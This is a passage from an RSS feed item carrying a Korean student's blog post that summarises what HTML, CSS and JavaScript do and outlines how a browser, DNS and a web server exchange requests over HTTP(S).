<p><b>1. Hyper Text Markup Language (HTML)</b><br>웹 문서의 뼈와 살을 담당한다. 태그와 속성을 통한 구조화된 문서 작성을 지원한다.</p>
<p><b>2. Cascading Style Sheets (CSS)</b><br>웹 문서의 생김새를 지정한다. 웹 리소스들의 시각화 방법을 기재한 스타일 시트이다. 글자의 색깔이나 모양, 배경 색상, 이미지의 크기나 위치 등을 CSS로 지정할 수 있다. 브라우저는 이를 참고하여 웹 문서를 시각화한다.</p>
<p><b>3. JavaScript (JS)</b><br>웹 문서의 동작을 정의한다. 이용자가 버튼을 클릭했을 때, 어떻게 반응할지, 이용자가 데이터를 입력하면 어디로 전송할지 등을 JS로 구현할 수 있다. JS는 이용자의 브라우저에서 실행되는데, 클라이언트가 실행하는 코드라고 하여 Client-Side Script라고도 부른다.</p>
<p><b>4. 그 외</b><br>문서, 이미지, 동영상, 폰트 등</p>
<h4>웹 클라이언트와 서버의 통신</h4>
<p>이 글에서 서술한 내용을 토대로 <b>웹 서비스의 통신 과정</b>을 간략화하면 다음과 같다.</p>
<p><b>(클라이언트)</b> 이용자가 브라우저에 URL을 입력하여 웹 서버에 접속한다.</p>
<p><b>(DNS)</b> 브라우저는 DNS 서버를 통해 도메인 이름에 해당하는 실제 서버의 IP 주소를 알아낸다.</p>
<p><b>(클라이언트)</b> 브라우저는 이용자의 요청을 해석하여 알아낸 IP 주소의 웹 서버에 HTTP(혹은 HTTPS) 형식으로 리소스를 요청한다.</p>
<p><b>(서버)</b> HTTP(혹은 HTTPS)로 전달된 이용자의 요청을 해석한다.</p>
<p><b>(서버)</b> 해석한 이용자의 요청에 따라 적절한 동작을 한다. 리소스를 요청하는 것이라면, 이를 탐색한다. 계좌 송금, 입금과 같은 복잡한 동작을 요구할 경우 내부적으로 필요한 연산을 처리한다. 필요하다면 데이터베이스(DB)에서 자료를 찾거나 로직을 수행한다.</p>
<p><b>(서버)</b> 전달할 리소스를 HTTP(혹은 HTTPS) 형식으로 이용자에게 전달한다.</p>
<p><b>(클라이언트)</b> 브라우저는 서버에게 응답받은 HTML, CSS, JS 등의 웹 리소스를 렌더링한다.</p>
<h3>마무리</h3>
<p>나도 그렇고, 같은 과 학우들도 그렇고 많이들 헷갈려하는 것을 느껴 블로그에 이렇게 정리해보았다.<br>앞으로 헷갈릴 일은 없을듯.</p>
]]></description>
      <author>njwon19@gmail.com (노정원)</author>
      <category>기초</category><category>웹</category><category>통신</category>
    </item>
  </channel>
</rss>
